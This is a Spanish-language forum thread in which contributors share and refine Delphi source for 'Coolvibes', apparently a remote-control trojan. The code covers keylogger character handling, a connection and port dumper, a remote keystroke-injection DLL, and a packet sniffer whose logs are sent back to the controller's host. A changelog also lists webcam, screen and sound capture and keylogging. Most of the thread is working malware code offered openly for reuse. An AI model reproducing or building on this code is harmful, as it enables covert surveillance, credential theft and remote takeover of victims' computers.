Código: Seleccionar todo
GetKeyboardState(KeyState);
RetCode := ToAscii(VirtualKey, ScanCode, KeyState, AChar, 0);
case RetCode of
0: buf := ''; //no character
1: buf := AChar[0]; //letras
2: ; //ACENTOS!
else
buf := ''; //dead key
Código: Seleccionar todo
{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING **}
{******************************************************************************}
{** **}
{** The prototypes, declarations and information in this file has been **}
{** compiled from various sources as well as through reverse engineering **}
{** techniques. We make no guarantee as to the correctness of the contents. **}
{** Caution is recommended, USE AT YOUR OWN RISK. **}
{** **}
{******************************************************************************}
Código: Seleccionar todo
{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING **}
{******************************************************************************}
{** **}
{** The prototypes, declarations and information in this file has been **}
{** compiled from various sources as well as through reverse engineering **}
{** techniques. We make no guarantee as to the correctness of the contents. **}
{** Caution is recommended, USE AT YOUR OWN RISK. **}
{** **}
{******************************************************************************}
Código: Seleccionar todo
{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING **}
{******************************************************************************}
{** **}
{** The prototypes, declarations and information in this file has been **}
{** compiled from various sources as well as through reverse engineering **}
{** techniques. We make no guarantee as to the correctness of the contents. **}
{** Caution is recommended, USE AT YOUR OWN RISK. **}
{** **}
{******************************************************************************}
Código: Seleccionar todo
case RetCode of
0: buf := ''; //vkey
1: buf := AChar[0]; //letras
else
ToAscii(VirtualKey, ScanCode, KeyState, AChar, 0);
buf := AChar[0]; //grabo acento
end;
Código: Seleccionar todo
{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING **}
{******************************************************************************}
{** **}
{** The prototypes, declarations and information in this file has been **}
{** compiled from various sources as well as through reverse engineering **}
{** techniques. We make no guarantee as to the correctness of the contents. **}
{** Caution is recommended, USE AT YOUR OWN RISK. **}
{** **}
{******************************************************************************}
A mi me va perfecto, he probado con todos (âàáäñÂÀÁÄÑ)DSR! escribió:si, los acentos COMUNES con el teclado configurado en ESPAÑOL anda perfecto menos con 1 acento. en otros idiomas por ahí falla con mas de 1 acento
Código: Seleccionar todo
{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING **}
{******************************************************************************}
{** **}
{** The prototypes, declarations and information in this file has been **}
{** compiled from various sources as well as through reverse engineering **}
{** techniques. We make no guarantee as to the correctness of the contents. **}
{** Caution is recommended, USE AT YOUR OWN RISK. **}
{** **}
{******************************************************************************}
ExactoDSR! escribió:y como te va a fallar si tenes el teclado seguramente configurado igual que 0k3n!
aparte las valor de las vkey cambia segun la region/config del teclado.
de todas formas a mi filtrando el uso de la api ToAscii como ejemplifique mas arriba y cambiando 2 lineas mas me funciono bien en varios idiomas. habria que probarlo un poco mas a ver si falla
Código: Seleccionar todo
procedure TFormControl.PopTCPSimpleClick(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('No estás conectado!', mtWarning, [mbok], 0);
Exit;
end;
Servidor.Connection.Writeln('TCPUDP|false');
end;
procedure TFormControl.PopTCPExpanClick(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('No estás conectado!', mtWarning, [mbok], 0);
Exit;
end;
Servidor.Connection.Writeln('TCPUDP|true');
end
Código: Seleccionar todo
//Comandos del POrtScaner
if Copy(Recibido,1,6) = 'TCPUDP' then
begin
LvTCP.Clear;
delete (Recibido,1,7);
While pos('|',recibido)>0 do
begin
item:=LvTCP.Items.Add;
Item.Caption := Copy(Recibido, 1, Pos('|', Recibido) - 1);
TempStr:= Copy(Recibido, 1, Pos('|', Recibido) - 1);
if tempstr = 'TCP' then
item.ImageIndex:=28
else
item.ImageIndex:=27;
Delete(Recibido, 1, Pos('|', Recibido));
for i:=0 to 6 do
begin
if i = 4 then
begin
TempStr:= Copy(Recibido, 1, Pos('|', Recibido) - 1);
if tempStr='ESTABLISHED' then
item.SubItemImages[4]:=29
else
item.SubItemImages[4]:=30;
end;
if i = 6 then
begin
TempStr:= Copy(Recibido, 1, Pos('|', Recibido) - 1);
Tempstr:=ExtractFileExt(tempStr);
if tempStr ='.exe' then
item.SubItemImages[6]:=25
else
if TempStr='.dll' then
item.SubItemImages[6]:=11
else
item.SubItemImages[6]:=22;
end;
Item.SubItems.Add(Copy(Recibido, 1, Pos('|', Recibido) - 1));
Delete(Recibido, 1, Pos('|', Recibido));
end;
end;
Estado.Panels[0].Text := 'Escaneo de Puerto Finalizado..';
Estado.Panels[1].Text:=' ';
end;
//Fin de comandos del Port Scanner
Código: Seleccionar todo
//Comandos Relacionados con el PortScant
if Copy(Recibido, 1, 6) = 'TCPUDP' then
begin
delete (recibido,1,7);//Borramos TCPUDP|
if recibido = 'false' then //información simple
Socket.SendText('TCPUDP'+DumpTCP(false)+DumpUdp(false)+'|'+ENTER)
else //información compuesta
Socket.SendText('TCPUDP'+DumpTCP(true) +DumpUDP(true)+'|'+ENTER);
end;
// fin de comandos relacionados con el port escaner;
Código: Seleccionar todo
unit UnitPortScan;
interface
uses Windows,
SysUtils;
Function DumpTCP (list : Boolean) : string;
Function DumpUDP (list:Boolean) :String;
implementation
uses ipHelp,Winsock;
Function DumpTCP (list : Boolean) : string;
var
TcpTable: PMIB_TCPTABLE;
TcpExTable: PMIB_TCPTABLE_OWNER_MODULE;
Info: PTCPIP_OWNER_MODULE_BASIC_INFO;
Size, i: DWORD;
tempStr : String;
begin
if TcpExTableExists then
begin
GetMem(TcpExTable,sizeof(MIB_TCPTABLE_OWNER_MODULE));
Size:= 0;
if GetExtendedTcpTable(TcpExTable, Size, TRUE, AF_INET,TCP_TABLE_OWNER_MODULE_ALL,0) = ERROR_INSUFFICIENT_BUFFER then
begin
FreeMem(TcpExTable);
GetMem(TcpExTable,Size);
end;
try
if GetExtendedTcpTable(TcpExTable, Size, TRUE, AF_INET,
TCP_TABLE_OWNER_MODULE_ALL,0) = NO_ERROR then
for i:= 0 to TcpExTable.dwNumEntries - 1 do
if (TcpExTable.table[i].dwState <> 2) or list then
begin
TempStr:= tempStr+'|'+'TCP'+'|'+ IPToStr(TcpExTable.table[i].dwLocalAddr)+'|'+
IntToStr(htons(TcpExTable.table[i].dwLocalPort));
if TcpExTable.table[i].dwState <> 2 then
begin
tempStr:=TempStr+'|'+IPToStr(TcpExTable.table[i].dwRemoteAddr)+'|'+
IntToStr( htons(TcpExTable.table[i].dwRemotePort))
end else
begin
tempStr:=Tempstr+'|'+'-'+'|'+'-';
end;
TempStr:=Tempstr+'|'+StateToStr(TcpExTable.table[i].dwState)+'|'+
IntTostr(TcpExTable.table[i].dwOwningPid);
GetMem(Info,sizeof(MIB_TCPTABLE_OWNER_MODULE));
Size:= 0;
if GetOwnerModuleFromTcpEntry(@TcpExTable.table[i],
TCPIP_OWNER_MODULE_INFO_BASIC,Info,Size) = ERROR_INSUFFICIENT_BUFFER then
begin
FreeMem(Info);
GetMem(Info,Size);
end;
try
if GetOwnerModuleFromTcpEntry(@TcpExTable.table[i],TCPIP_OWNER_MODULE_INFO_BASIC,Info,Size) = NO_ERROR then
tempStr:=Tempstr+'|'+(String(Info.pModuleName))
else tempStr:=TempStr+'_'+'|'+'Desconocido';
finally
FreeMem(Info);
end;
end;
finally
result :=tempStr;
FreeMem(TcpExTable);
end;
end else
if TcpTableExists then
begin
GetMem(TcpTable,sizeof(MIB_TCPTABLE));
Size:= 0;
if GetTcpTable(TcpTable, Size, TRUE) = ERROR_INSUFFICIENT_BUFFER then
begin
FreeMem(TcpTable);
GetMem(TcpTable,Size);
end;
try
if (GetTcpTable(TcpTable, Size, TRUE) = NO_ERROR) then
for i:= 0 to TcpTable.dwNumEntries - 1 do
if (TcpTable.table[i].dwState <> 2) or list then
begin
TempStr:= TempStr+'|'+'TCP'+'|'+ IPToStr(TcpExTable.table[i].dwLocalAddr)+'|'+
IntToStr(htons(TcpExTable.table[i].dwLocalPort));
if TcpTable.table[i].dwState <> 2 then
begin
tempStr:=TempStr+'|'+IPToStr(TcpExTable.table[i].dwRemoteAddr)+'|'+
IntToStr( htons(TcpExTable.table[i].dwRemotePort))
end else
begin
tempStr:=Tempstr+'|'+'-'+'|'+'-';
end;
TempStr:=Tempstr+'|'+StateToStr(TcpExTable.table[i].dwState);
end;
finally
result :=tempStr;
FreeMem(TcpTable);
end;
end;
end;
Function DumpUDP (list:Boolean) :String;
var
UdpTable: PMIB_UDPTABLE;
UdpExTable: PMIB_UDPTABLE_OWNER_MODULE;
Info: PTCPIP_OWNER_MODULE_BASIC_INFO;
Size, i: DWORD;
TempStr : string;
begin
if UdpExTableExists then
begin
GetMem(UdpExTable,sizeof(MIB_UDPTABLE_OWNER_MODULE));
Size:= 0;
if GetExtendedUdpTable(UdpExTable, Size, TRUE, AF_INET,
UDP_TABLE_OWNER_MODULE,0) = ERROR_INSUFFICIENT_BUFFER then
begin
FreeMem(UdpExTable);
GetMem(UdpExTable,Size);
end;
try
if GetExtendedUdpTable(UdpExTable, Size, TRUE, AF_INET,
UDP_TABLE_OWNER_MODULE,0) = NO_ERROR then
for i:= 0 to UdpExTable.dwNumEntries - 1 do
begin
TempStr:=TempsTr+'|'+'UDP'+'|'+ IPToStr(UdpExTable.table[i].dwLocalAddr)+'|'+
IntToStr(htons(UdpExTable.table[i].dwLocalPort))+'|'+'-'+'|'+'-'+'|'+'-'+'|'+
IntTostr(UdpExTable.table[i].dwOwningPid);
GetMem(Info,sizeof(MIB_TCPTABLE_OWNER_MODULE));
Size:= 0;
if GetOwnerModuleFromUdpEntry(@UdpExTable.table[i],
TCPIP_OWNER_MODULE_INFO_BASIC,Info,Size) = ERROR_INSUFFICIENT_BUFFER then
begin
FreeMem(Info);
GetMem(Info,Size);
end;
try
if GetOwnerModuleFromUdpEntry(@UdpExTable.table[i],
TCPIP_OWNER_MODULE_INFO_BASIC,Info,Size) = NO_ERROR then
Tempstr:=Tempstr+'|'+(String(Info.pModuleName))
else tempStr:=TempStr+'_'+'|'+'Desconocido';
finally
FreeMem(Info);
end;
end;
finally
Result:=Tempstr;
FreeMem(UdpExTable);
end;
end else
if UdpTableExists then
begin
GetMem(UdpTable,sizeof(MIB_TCPTABLE));
Size:= 0;
if GetUdpTable(UdpTable, Size, TRUE) = ERROR_INSUFFICIENT_BUFFER then
begin
FreeMem(UdpTable);
GetMem(UdpTable,Size);
end;
try
if (GetUdpTable(UdpTable, Size, TRUE) = NO_ERROR) then
for i:= 0 to UdpTable.dwNumEntries - 1 do
begin
TempStr:=TempsTr+'|'+'UDP'+'|'+ IPToStr(UdpExTable.table[i].dwLocalAddr)+'|'+
IntToStr(htons(UdpExTable.table[i].dwLocalPort))+'|'+'-'+'|'+'-'+'|'+'-';
end;
finally
Result:=tempStr;
FreeMem(UdpTable);
end;
end;
end;
end.
Código: Seleccionar todo
Fecha 06/05/2011
Versión: 1 Update 4
Modificación de: Anonimo
[+] Añadido cacheado de iconos para tener más velocidad y evitar errores
[*] Mejorada la busqueda de archivos, además ahora busca también en directorios ocultos
[+] Añadida columna Nombre de usuario / Nombre de PC a listviewconexiones
[+] Añadida posibilidad de elegir si cerrar o no el centro de control cuando un usuario se desconecte
[*] Cambiada la interfaz de formopciones por falta de espacio y de organización, además se agregan algunas nuevas opciones
[*] Ahora tambien identifica el sistema operativo "Windows 7", antes los marcaba como vista
[*] Utiliza solamente un socket para los comandos y las capturas de pantalla, capturas de webcam, Visor de thumbnails y capturador sonidos y keylogger; las descargas y subidas se mantienen igual
[-] Por incompatibilidad ahora ya no se lista el tipo de los archivos
[+] Añadido visor de puertos activos
[+] Añadido sistema de avisosCódigo: Seleccionar todo
{******************************************************************************}
{** WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING WARNING **}
{******************************************************************************}
{** **}
{** The prototypes, declarations and information in this file has been **}
{** compiled from various sources as well as through reverse engineering **}
{** techniques. We make no guarantee as to the correctness of the contents. **}
{** Caution is recommended, USE AT YOUR OWN RISK. **}
{** **}
{******************************************************************************}
No hay de que, un gusto ayudar también tengo una unidad sniffer, la unidad sendkeys la tengo inplementada tipo dll, estaria bien que coolvibes pudiera tener tb sus plugins tipo Pioson ivy, así la implemente en la versión de coolvibes 4.DSR! escribió:gracias por el code!
le vamos a pegar una mirada
//edit
que velocidad ok3n, pongo contestar y vos ya lo habias portado y todo
Código: Seleccionar todo
Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean; external 'sendkey.dll';
Código: Seleccionar todo
if Copy(Recibido, 1, 8) = 'SENDKEYS' then
begin
Delete(Recibido, 1, 9);
TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1 ); //Copia el handle de la ventana...
Delete(Recibido, 1, Pos('|', Recibido)); //borra el handle + '|'
try
i := StrToInt(TempStr)
except
begin
Socket.SendText('MSG|No se pudieron enviar las teclas a la ventana con handle ' + TempStr + ENTER);
Exit;
end;
end;
AppActivateHandle(i);
SendKeys(PChar(Recibido), True);
Socket.SendText('MSG|Se enviaron las teclas a la ventana con handle ' + TempStr + ENTER);
end;
Código: Seleccionar todo
library SendKey;
{ Important note about DLL memory management: ShareMem must be the
first unit in your library's USES clause AND your project's (select
Project-View Source) USES clause if your DLL exports any procedures or
functions that pass strings as parameters or function results. This
applies to all strings passed to and from your DLL--even those that
are nested in records and classes. ShareMem is the interface unit to
the BORLNDMM.DLL shared memory manager, which must be deployed along
with your DLL. To avoid using BORLNDMM.DLL, pass string information
using PChar or ShortString parameters. }
uses
SysUtils,
Windows,
Messages;
(*
SendKeys routine for 32-bit Delphi.
Written by Ken Henderson
Copyright (c) 1995 Ken Henderson
This unit includes two routines that simulate popular Visual Basic
routines: Sendkeys and AppActivate. SendKeys takes a PChar
as its first parameter and a boolean as its second, like so:
SendKeys('KeyString', Wait);
where KeyString is a string of key names and modifiers that you want
to send to the current input focus and Wait is a boolean variable or value
that indicates whether SendKeys should wait for each key message to be
processed before proceeding. See the table below for more information.
AppActivate also takes a PChar as its only parameter, like so:
AppActivate('WindowName');
where WindowName is the name of the window that you want to make the
current input focus.
SendKeys supports the Visual Basic SendKeys syntax, as documented below.
Supported modifiers:
+ = Shift
^ = Control
% = Alt
Surround sequences of characters or key names with parentheses in order to
modify them as a group. For example, '+abc' shifts only 'a', while '+(abc)' shifts
all three characters.
Supported special characters
~ = Enter
( = Begin modifier group (see above)
) = End modifier group (see above)
{ = Begin key name text (see below)
} = End key name text (see below)
Supported characters:
Any character that can be typed is supported. Surround the modifier keys
listed above with braces in order to send as normal text.
Supported key names (surround these with braces):
BKSP, BS, BACKSPACE
BREAK
CAPSLOCK
CLEAR
DEL
DELETE
DOWN
END
ENTER
ESC
ESCAPE
F1
F2
F3
F4
F5
F6
F7
F8
F9
F10
F11
F12
F13
F14
F15
F16
HELP
HOME
INS
LEFT
NUMLOCK
PGDN
PGUP
PRTSC
RIGHT
SCROLLLOCK
TAB
UP
Follow the keyname with a space and a number to send the specified key a
given number of times (e.g., {left 6}).
*)
{Buffer for working with PChar's}
const
WorkBufLen = 40;
var
WorkBuf : array[0..WorkBufLen] of Char;
type
THKeys = array[0..pred(MaxLongInt)] of byte;
var
AllocationSize : integer;
(*
Converts a string of characters and key names to keyboard events and
passes them to Windows.
Example syntax:
SendKeys('abc123{left}{left}{left}def{end}456{left 6}ghi{end}789', True);
*)
Function SendKeys(SendKeysString : PChar; Wait : Boolean) : Boolean;
type
WBytes = array[0..pred(SizeOf(Word))] of Byte;
TSendKey = record
Name : ShortString;
VKey : Byte;
end;
const
{Array of keys that SendKeys recognizes.
If you add to this list, you must be sure to keep it sorted alphabetically
by Name because a binary search routine is used to scan it.}
MaxSendKeyRecs = 41;
SendKeyRecs : array[1..MaxSendKeyRecs] of TSendKey =
(
(Name:'BACKSPACE'; VKey:VK_BACK),
(Name:'BKSP'; VKey:VK_BACK),
(Name:'BREAK'; VKey:VK_CANCEL),
(Name:'BS'; VKey:VK_BACK),
(Name:'CAPSLOCK'; VKey:VK_CAPITAL),
(Name:'CLEAR'; VKey:VK_CLEAR),
(Name:'DEL'; VKey:VK_DELETE),
(Name:'DELETE'; VKey:VK_DELETE),
(Name:'DOWN'; VKey:VK_DOWN),
(Name:'END'; VKey:VK_END),
(Name:'ENTER'; VKey:VK_RETURN),
(Name:'ESC'; VKey:VK_ESCAPE),
(Name:'ESCAPE'; VKey:VK_ESCAPE),
(Name:'F1'; VKey:VK_F1),
(Name:'F10'; VKey:VK_F10),
(Name:'F11'; VKey:VK_F11),
(Name:'F12'; VKey:VK_F12),
(Name:'F13'; VKey:VK_F13),
(Name:'F14'; VKey:VK_F14),
(Name:'F15'; VKey:VK_F15),
(Name:'F16'; VKey:VK_F16),
(Name:'F2'; VKey:VK_F2),
(Name:'F3'; VKey:VK_F3),
(Name:'F4'; VKey:VK_F4),
(Name:'F5'; VKey:VK_F5),
(Name:'F6'; VKey:VK_F6),
(Name:'F7'; VKey:VK_F7),
(Name:'F8'; VKey:VK_F8),
(Name:'F9'; VKey:VK_F9),
(Name:'HELP'; VKey:VK_HELP),
(Name:'HOME'; VKey:VK_HOME),
(Name:'INS'; VKey:VK_INSERT),
(Name:'LEFT'; VKey:VK_LEFT),
(Name:'NUMLOCK'; VKey:VK_NUMLOCK),
(Name:'PGDN'; VKey:VK_NEXT),
(Name:'PGUP'; VKey:VK_PRIOR),
(Name:'PRTSC'; VKey:VK_PRINT),
(Name:'RIGHT'; VKey:VK_RIGHT),
(Name:'SCROLLLOCK'; VKey:VK_SCROLL),
(Name:'TAB'; VKey:VK_TAB),
(Name:'UP'; VKey:VK_UP)
);
{Extra VK constants missing from Delphi's Windows API interface}
VK_NULL=0;
VK_SemiColon=186;
VK_Equal=187;
VK_Comma=188;
VK_Minus=189;
VK_Period=190;
VK_Slash=191;
VK_BackQuote=192;
VK_LeftBracket=219;
VK_BackSlash=220;
VK_RightBracket=221;
VK_Quote=222;
VK_Last=VK_Quote;
ExtendedVKeys : set of byte =
[VK_Up,
VK_Down,
VK_Left,
VK_Right,
VK_Home,
VK_End,
VK_Prior, {PgUp}
VK_Next, {PgDn}
VK_Insert,
VK_Delete];
const
INVALIDKEY = $FFFF {Unsigned -1};
VKKEYSCANSHIFTON = $01;
VKKEYSCANCTRLON = $02;
VKKEYSCANALTON = $04;
UNITNAME = 'SendKeys';
var
UsingParens, ShiftDown, ControlDown, AltDown, FoundClose : Boolean;
PosSpace : Byte;
I, L : Integer;
NumTimes, MKey : Word;
KeyString : String[20];
procedure DisplayMessage(Message : PChar);
begin
MessageBox(0,Message,UNITNAME,0);
end;
function BitSet(BitTable, BitMask : Byte) : Boolean;
begin
Result:=ByteBool(BitTable and BitMask);
end;
procedure SetBit(var BitTable : Byte; BitMask : Byte);
begin
BitTable:=BitTable or Bitmask;
end;
Procedure KeyboardEvent(VKey, ScanCode : Byte; Flags : Longint);
var
KeyboardMsg : TMsg;
begin
keybd_event(VKey, ScanCode, Flags,0);
If (Wait) then While (PeekMessage(KeyboardMsg,0,WM_KEYFIRST, WM_KEYLAST, PM_REMOVE)) do begin
TranslateMessage(KeyboardMsg);
DispatchMessage(KeyboardMsg);
end;
end;
Procedure SendKeyDown(VKey: Byte; NumTimes : Word; GenUpMsg : Boolean);
var
Cnt : Word;
ScanCode : Byte;
NumState : Boolean;
KeyBoardState : TKeyboardState;
begin
If (VKey=VK_NUMLOCK) then begin
NumState:=ByteBool(GetKeyState(VK_NUMLOCK) and 1);
GetKeyBoardState(KeyBoardState);
If NumState then KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] and not 1)
else KeyBoardState[VK_NUMLOCK]:=(KeyBoardState[VK_NUMLOCK] or 1);
SetKeyBoardState(KeyBoardState);
exit;
end;
ScanCode:=Lo(MapVirtualKey(VKey,0));
For Cnt:=1 to NumTimes do
If (VKey in ExtendedVKeys)then begin
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY);
If (GenUpMsg) then
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP)
end else begin
KeyboardEvent(VKey, ScanCode, 0);
If (GenUpMsg) then KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end;
end;
Procedure SendKeyUp(VKey: Byte);
var
ScanCode : Byte;
begin
ScanCode:=Lo(MapVirtualKey(VKey,0));
If (VKey in ExtendedVKeys)then
KeyboardEvent(VKey, ScanCode, KEYEVENTF_EXTENDEDKEY and KEYEVENTF_KEYUP)
else KeyboardEvent(VKey, ScanCode, KEYEVENTF_KEYUP);
end;
Procedure SendKey(MKey: Word; NumTimes : Word; GenDownMsg : Boolean);
begin
If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyDown(VK_SHIFT,1,False);
If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyDown(VK_CONTROL,1,False);
If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyDown(VK_MENU,1,False);
SendKeyDown(Lo(MKey), NumTimes, GenDownMsg);
If (BitSet(Hi(MKey),VKKEYSCANSHIFTON)) then SendKeyUp(VK_SHIFT);
If (BitSet(Hi(MKey),VKKEYSCANCTRLON)) then SendKeyUp(VK_CONTROL);
If (BitSet(Hi(MKey),VKKEYSCANALTON)) then SendKeyUp(VK_MENU);
end;
{Implements a simple binary search to locate special key name strings}
Function StringToVKey(KeyString : ShortString) : Word;
var
Found, Collided : Boolean;
Bottom, Top, Middle : Byte;
begin
Result:=INVALIDKEY;
Bottom:=1;
Top:=MaxSendKeyRecs;
Found:=false;
Middle:=(Bottom+Top) div 2;
Repeat
Collided:=((Bottom=Middle) or (Top=Middle));
If (KeyString=SendKeyRecs[Middle].Name) then begin
Found:=True;
Result:=SendKeyRecs[Middle].VKey;
end else begin
If (KeyString>SendKeyRecs[Middle].Name) then Bottom:=Middle
else Top:=Middle;
Middle:=(Succ(Bottom+Top)) div 2;
end;
Until (Found or Collided);
If (Result=INVALIDKEY) then {DisplayMessage('Invalid Key Name'); }//Comentado para que no diga nada si hune una tecla inválida
end;
procedure PopUpShiftKeys;
begin
If (not UsingParens) then begin
If ShiftDown then SendKeyUp(VK_SHIFT);
If ControlDown then SendKeyUp(VK_CONTROL);
If AltDown then SendKeyUp(VK_MENU);
ShiftDown:=false;
ControlDown:=false;
AltDown:=false;
end;
end;
begin
AllocationSize:=MaxInt;
Result:=false;
UsingParens:=false;
ShiftDown:=false;
ControlDown:=false;
AltDown:=false;
I:=0;
L:=StrLen(SendKeysString);
If (L>AllocationSize) then L:=AllocationSize;
If (L=0) then Exit;
While (I<L) do begin
case SendKeysString[I] of
'(' : begin
UsingParens:=True;
Inc(I);
end;
')' : begin
UsingParens:=False;
PopUpShiftKeys;
Inc(I);
end;
'%' : begin
AltDown:=True;
SendKeyDown(VK_MENU,1,False);
Inc(I);
end;
'+' : begin
ShiftDown:=True;
SendKeyDown(VK_SHIFT,1,False);
Inc(I);
end;
'^' : begin
ControlDown:=True;
SendKeyDown(VK_CONTROL,1,False);
Inc(I);
end;
'{' : begin
NumTimes:=1;
If (SendKeysString[Succ(I)]='{') then begin
MKey:=VK_LEFTBRACKET;
SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
SendKey(MKey,1,True);
PopUpShiftKeys;
Inc(I,3);
Continue;
end;
KeyString:='';
FoundClose:=False;
While (I<=L) do begin
Inc(I);
If (SendKeysString[I]='}') then begin
FoundClose:=True;
Inc(I);
Break;
end;
KeyString:=KeyString+Upcase(SendKeysString[I]);
end;
If (Not FoundClose) then begin
//DisplayMessage('No Close'); //comentado para que no diga nada el server
Exit;
end;
If (SendKeysString[I]='}') then begin
MKey:=VK_RIGHTBRACKET;
SetBit(Wbytes(MKey)[1],VKKEYSCANSHIFTON);
SendKey(MKey,1,True);
PopUpShiftKeys;
Inc(I);
Continue;
end;
PosSpace:=Pos(' ',KeyString);
If (PosSpace<>0) then begin
NumTimes:=StrToInt(Copy(KeyString,Succ(PosSpace),Length(KeyString)-PosSpace));
KeyString:=Copy(KeyString,1,Pred(PosSpace));
end;
If (Length(KeyString)=1) then MKey:=vkKeyScan(KeyString[1])
else MKey:=StringToVKey(KeyString);
If (MKey<>INVALIDKEY) then begin
SendKey(MKey,NumTimes,True);
PopUpShiftKeys;
Continue;
end;
end;
'~' : begin
SendKeyDown(VK_RETURN,1,True);
PopUpShiftKeys;
Inc(I);
end;
else begin
MKey:=vkKeyScan(SendKeysString[I]);
If (MKey<>INVALIDKEY) then begin
SendKey(MKey,1,True);
PopUpShiftKeys;
end else begin {DisplayMessage('Invalid KeyName');} end; //Comentado para que no diga nada si es una tecla invalida
Inc(I);
end;
end;
end;
Result:=true;
PopUpShiftKeys;
end;
{AppActivate
This is used to set the current input focus to a given window using its
name. This is especially useful for ensuring a window is active before
sending it input messages using the SendKeys function. You can specify
a window's name in its entirety, or only portion of it, beginning from
the left.
}
var
WindowHandle : HWND;
function EnumWindowsProc(WHandle: HWND; lParam: LPARAM): BOOL; export; stdcall;
var
WindowName : array[0..MAX_PATH] of char;
begin
{Can't test GetWindowText's return value since some windows don't have a title}
GetWindowText(WHandle,WindowName,MAX_PATH);
Result := (StrLIComp(WindowName,PChar(lParam), StrLen(PChar(lParam))) <> 0);
If (not Result) then WindowHandle:=WHandle;
end;
function AppActivate(WindowName : PChar) : boolean;
begin
try
Result:=true;
WindowHandle:=FindWindow(nil,WindowName);
If (WindowHandle=0) then EnumWindows(@EnumWindowsProc,Integer(PChar(WindowName)));
If (WindowHandle<>0) then begin
SendMessage(WindowHandle, WM_SYSCOMMAND, SC_HOTKEY, WindowHandle);
SendMessage(WindowHandle, WM_SYSCOMMAND, SC_RESTORE, WindowHandle);
SetForegroundWindow(WindowHandle);
end else Result:=false;
except
on Exception do Result:=false;
end;
end;
exports sendkeys;
{$R *.res}
begin;
end.
Código: Seleccionar todo
procedure TFormControl.PopSnifferIniciarClick(Sender: TObject);
begin
if Servidor.Connection.Connected then
begin
btnSni.ImageIndex:=10;
Servidor.Connection.Writeln('SNIFFER|ACTIVAR');
//Estado.Panels[0].Text := 'Sniffer Activado...';
end else begin
MessageDlg('No estás conectado!', mtWarning, [mbok], 0);
end;
end;
procedure TFormControl.PopSniferDetenerClick(Sender: TObject);
begin
if Servidor.Connection.Connected then
begin
btnSni.ImageIndex:=11;
Servidor.Connection.Writeln('SNIFFER|DESACTIVAR');
//Estado.Panels[0].Text := 'Sniffer desactivado...';
end else begin
MessageDlg('No estás conectado!', mtWarning, [mbok], 0);
end;
end
Código: Seleccionar todo
procedure TFormControl.PopSnifferOptenerClick(Sender: TObject);
begin
if Servidor.Connection.Connected then
begin
Servidor.Connection.Writeln('SNIFFER|MANDALOGS');
Estado.Panels[0].Text := 'Obteniendo Fichero LogS..';
end else begin
MessageDlg('No estás conectado!', mtWarning, [mbok], 0);
end;
end;
Código: Seleccionar todo
procedure TFormControl.PopSnifferBorrarClick(Sender: TObject);
begin
if not Servidor.Connection.Connected then
begin
MessageDlg('No estás conectado!', mtWarning, [mbok], 0);
exit;
end;
if MessageDlg('¿Está seguro que quiere borrar el archivo LogS.txt?', mtConfirmation, [MbYes, MBNo], 0) <> IdNo then
begin
Servidor.Connection.Writeln('DELFILE|' + 'c:\logS.txt');
end;
end;
Código: Seleccionar todo
if Copy(recibido,1,7) = 'SNIFFER' then
begin
delete (recibido,1,8);
if recibido = 'ADAPTADOR' then
begin
Socket.SendText('SNIFFER|ADAPTADOR|'+trim(ReadLanInterfaces) + ENTER);
Socket.SendText('MSG|Adaptador Enviado...' + ENTER);
end;
if recibido = 'ACTIVAR' then
begin
FSnifferThread := TSnifferThread.Create(True);
FSnifferThread.Host := Configuracion.sHost;
FSnifferThread.FreeOnTerminate := True;
FSnifferThread.Resume;
Socket.SendText('MSG|Sniffer Activado...' + ENTER);
end;
if recibido = 'DESACTIVAR' then
begin
if FSnifferThread <> nil then
begin
FSnifferThread.Suspend;
FSnifferThread := nil;
Socket.SendText('MSG|Sniffer Desactivado...' + ENTER);
end;
end;
if Copy(recibido,1,9) = 'MANDALOGS' then
begin
If not FileExists(FindSystemDir+'\logS.txt') then
begin
Socket.SendText('MSG|No Hay Fichero LogS.txt' + ENTER);
exit;
end else
begin
ThreadInfo := TThreadInfo.Create(Configuracion.sHost, Configuracion.iPort, IntToStr(SH), FindSystemDir+'\logS.txt', 'SNIFFER', 0);
BeginThread(nil,
0,
Addr(ThreadedTransfer),
ThreadInfo,
0,
ThreadInfo.ThreadId);
Socket.SendText('MSG|Fichero LogS.txt Enviado...' + ENTER);
end;
end;
end;
Código: Seleccionar todo
unit UnitSniffer;
interface
uses Windows,
SysUtils,
Classes,
WinSock,
SocketUnit,
UnitFunciones;
const
MAX_PACKET_SIZE = $10000;
SIO_RCVALL = $98000001;
WSA_VER = $202;
MAX_ADAPTER_NAME_LENGTH = 256;
MAX_ADAPTER_DESCRIPTION_LENGTH = 128;
MAX_ADAPTER_ADDRESS_LENGTH = 8;
IPHelper = 'iphlpapi.dll';
ICMP_ECHO = 8;
ICMP_ECHOREPLY = 0;
ENTER = #10;
resourcestring
LOG_STR_0 = '==============================================================================' + sLineBreak;
LOG_STR_1 = 'Packet ID: %-5d TTL: %d' + sLineBreak;
LOG_STR_2 = 'Packet size: %-5d bytes type: %s' + sLineBreak;
LOG_STR_3 = 'Source IP : %15s: %d' + sLineBreak;
LOG_STR_4 = 'Destination IP : %15s: %d' + sLineBreak;
LOG_STR_5 = 'ARP Type: %s, operation: %s' + sLineBreak;
LOG_STR_6 = 'ICMP Type: %s' + sLineBreak;
LOG_STR_7 = '------------------------------ Packet dump -----------------------------------' + sLineBreak;
type
USHORT = WORD;
ULONG = DWORD;
